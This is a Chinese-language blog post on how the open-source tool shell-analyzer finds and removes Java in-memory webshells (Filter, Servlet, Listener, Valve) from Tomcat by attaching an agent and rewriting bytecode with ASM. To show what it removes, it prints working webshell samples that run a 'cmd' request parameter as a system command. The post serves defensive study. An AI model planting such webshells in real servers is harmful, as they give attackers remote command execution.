4ra1n 2023-02-15 02:12 浙江
本文介绍内存马查杀工具 shell-analyzer 如何实现远程内存马的检测与清除
在上一篇文章里,我简单分享了工具的检测原理:
内存马检测工具shell-analyzer(1)最初版展示与设计思路
今天我将项目开源了,地址是:
https://github.com/4ra1n/shell-analyzer
本文将分享如何实现清除内存马,上文是“查”,本文是“杀”
02 远程在上一篇文章中提到本工具的设计思路:
VirtualMachine vm = VirtualMachine.attach(pid);Path agentPath = Paths.get("agent.jar");String path = agentPath.toAbsolutePath().toString();// 密码参数vm.loadAgent(path,password);
public static void agentmain(String agentArgs, Instrumentation ins) {if (agentArgs == null || agentArgs.trim().equals("")) {return;}if (agentArgs.length() != 8) {return;}PASSWORD = agentArgs;// 。。。}
if (targetClass.startsWith("<FILTERS>")) {String PASS = targetClass.split("<FILTERS>")[1];if (!PASS.equals(Agent.PASSWORD)) {System.out.println("!!! ERROR PASSWORD");return;}List<String> classList = new ArrayList<>();for (Class<?> c : Agent.staticClasses) {//...}}
if (targetClass.startsWith("<KILL-FILTER>")) {String f = targetClass.split("<KILL-FILTER>")[1];// 密码验证if (!f.split("\\|")[0].equals(Agent.PASSWORD)) {System.out.println("!!! ERROR PASSWORD");return;}f = f.split("\\|")[1];System.out.println("kill filter: " + f);FilterKill fk = new FilterKill(f);for (Class<?> c : Agent.staticClasses) {if (c.getName().equals(f)) {Agent.staticIns.addTransformer(fk, true);Agent.staticIns.retransformClasses(c);Agent.staticIns.removeTransformer(fk);}}}
java -cp /remote.jar:tools.jar com.n1ar4.RemoteLoader [PID] [PASSWORD]@Overridepublic byte[] transform(ClassLoader loader,String className, Class<?> clsMemShell,ProtectionDomain protectionDomain,byte[] classfileBuffer) {try {className = className.replace("/", ".");if (className.equals(this.className)) {ClassReader cr = new ClassReader(classfileBuffer);ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);int api = Opcodes.ASM9;ClassVisitor cv = new FilterKillClassVisitor(api, cw);int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;cr.accept(cv, parsingOptions);return cw.toByteArray();}} catch (Exception ex) {ex.printStackTrace();}return new byte[0];}
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest)arg0;if (req.getParameter("cmd") != null) {byte[] data = new byte[1024];Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();int len = p.getInputStream().read(data);p.destroy();arg1.getWriter().write(new String(data, 0, len));return;}arg2.doFilter(arg0, arg1);}
清空内存马的 Filter 代码应该如下
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,FilterChain filterChain) throws IOException, ServletException {filterChain.doFilter(servletRequest,servletResponse);}
if (mv != null && name.equals("doFilter") &&descriptor.equals("(Ljavax/servlet/ServletRequest;" +"Ljavax/servlet/ServletResponse;Ljavax/servlet/FilterChain;)V")) {mv.visitCode();mv.visitVarInsn(ALOAD, 3);mv.visitVarInsn(ALOAD, 1);mv.visitVarInsn(ALOAD, 2);mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain","doFilter", "(Ljavax/servlet/ServletRequest;" +"Ljavax/servlet/ServletResponse;)V", true);mv.visitInsn(RETURN);mv.visitMaxs(3, 4);mv.visitEnd();return mv;}
public class TestFilter extends HttpFilter {protected void doFilter(HttpServletRequest req,HttpServletResponse res,FilterChain chain) throws IOException, ServletException {chain.doFilter(req, res);}}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String cmd;if ((cmd = req.getParameter(cmdParamName)) != null) {Process process = Runtime.getRuntime().exec(cmd);java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}resp.getOutputStream().write(stringBuilder.toString().getBytes());resp.getOutputStream().flush();resp.getOutputStream().close();return;}}
if (mv != null && (name.equals("doGet") || name.equals("doPost")|| name.equals("doDelete") || name.equals("doHead") || name.equals("doOptions")|| name.equals("doPut") || name.equals("doTrace")) &&descriptor.equals("(Ljavax/servlet/http/HttpServletRequest;" +"Ljavax/servlet/http/HttpServletResponse;)V")) {mv.visitCode();mv.visitInsn(RETURN);mv.visitMaxs(0, 3);mv.visitEnd();}
public void service(ServletRequest servletRequest,ServletResponse servletResponse) throws ServletException, IOException {return;}
if (mv != null && name.equals("service") &&descriptor.equals("(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V")) {mv.visitCode();mv.visitInsn(RETURN);mv.visitMaxs(0, 3);mv.visitEnd();return mv;}
网传的 Listener 内存马代码如下,每创建一个 ServletRequest 对象都会调用 requestInitialized 方法,类似销毁调用 requestDestroyed 方法
public class ListenerDemo implements ServletRequestListener {public void requestDestroyed(ServletRequestEvent sre) {System.out.println("requestDestroyed");}public void requestInitialized(ServletRequestEvent sre) {System.out.println("requestInitialized");try{String cmd = sre.getServletRequest().getParameter("cmd");Runtime.getRuntime().exec(cmd);}catch (Exception e ){}}}
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);if (mv != null && (name.equals("requestDestroyed") || name.equals("requestInitialized")) &&descriptor.equals("(Ljavax/servlet/ServletRequestEvent;)V")) {mv.visitCode();mv.visitInsn(RETURN);mv.visitMaxs(0, 2);mv.visitEnd();return mv;}
public void invoke(Request request, Response response) throws IOException, ServletException {String cmd = request.getParameter("cmd");if (cmd !=null){try{Runtime.getRuntime().exec(cmd);}catch (IOException e){e.printStackTrace();}catch (NullPointerException n){n.printStackTrace();}}// 网传内存马没有这一行会导致问题getNext().invoke(request, response);}
public void invoke(Request request, Response response)throws IOException, ServletException {this.getNext().invoke(request, response);}
if (mv != null && name.equals("invoke") &&descriptor.equals("(Lorg/apache/catalina/connector/Request;" +"Lorg/apache/catalina/connector/Response;)V")) {mv.visitCode();mv.visitVarInsn(ALOAD, 0);mv.visitMethodInsn(INVOKEVIRTUAL, owner,"getNext", "()Lorg/apache/catalina/Valve;", false);mv.visitVarInsn(ALOAD, 1);mv.visitVarInsn(ALOAD, 2);mv.visitMethodInsn(INVOKEINTERFACE, "org/apache/catalina/Valve","invoke", "(Lorg/apache/catalina/connector/Request;" +"Lorg/apache/catalina/connector/Response;)V", true);mv.visitInsn(RETURN);mv.visitMaxs(3, 3);mv.visitEnd();return mv;}
由于各种原因,工具不打算集成 Java Agent 内存马的查杀Agent 内存马查杀相对容易,使用 SA-JDI 的 HSDB 直接 dump 常见的几个类,然后使用 IDEA 等反编译工具即可得到 Java 代码(1)javax/servlet/http/HttpServlet service
(2)org/apache/catalina/core/ApplicationFilterChain doFilter
(3)org/springframework/web/servlet/DispatcherServlet doService
(4)org/apache/tomcat/websocket/server/WsFilter doFilter
对以上这些常见类的方法进行分析,即可得到需要的结果
08 一些问题工具目前存在几个明显的问题:(0)虽然我举例用的是 Tomcat 容器,但只要是实现了 Servlet 规范的容器或中间件,理论上本工具都可以进行查杀(但 Valve 是 Tomcat 独有)(1)动态 Agent 在罕见条件下会打崩 Tomcat 因此暂不要在生产环境测试,可以自己测试靶机来验证查杀内存马的效果(2)虽然我已经自定义 ObjectInputStream 并加入密码来保护端口,但 Java 的反序列化机制本身不够安全,存在拒绝服务等问题。我为什么要使用 Java 原生序列化来传递数据呢?图个方便(3)当你清除掉某个内存马后,其实你还是可以获得这个内存马类的字节码,因为通过 Java Agent 拿到的字节码不是真正的字节码,被 Java Agent 修改过的字节码不会变化,再次拿到的还是修改之前的字节码(4)注意使用 JDK 而不是 JRE 来运行,以 Windows 为例,在 JRE 的 bin 目录中,不存在 attach.dll 等库,会导致无法 attach 和分析
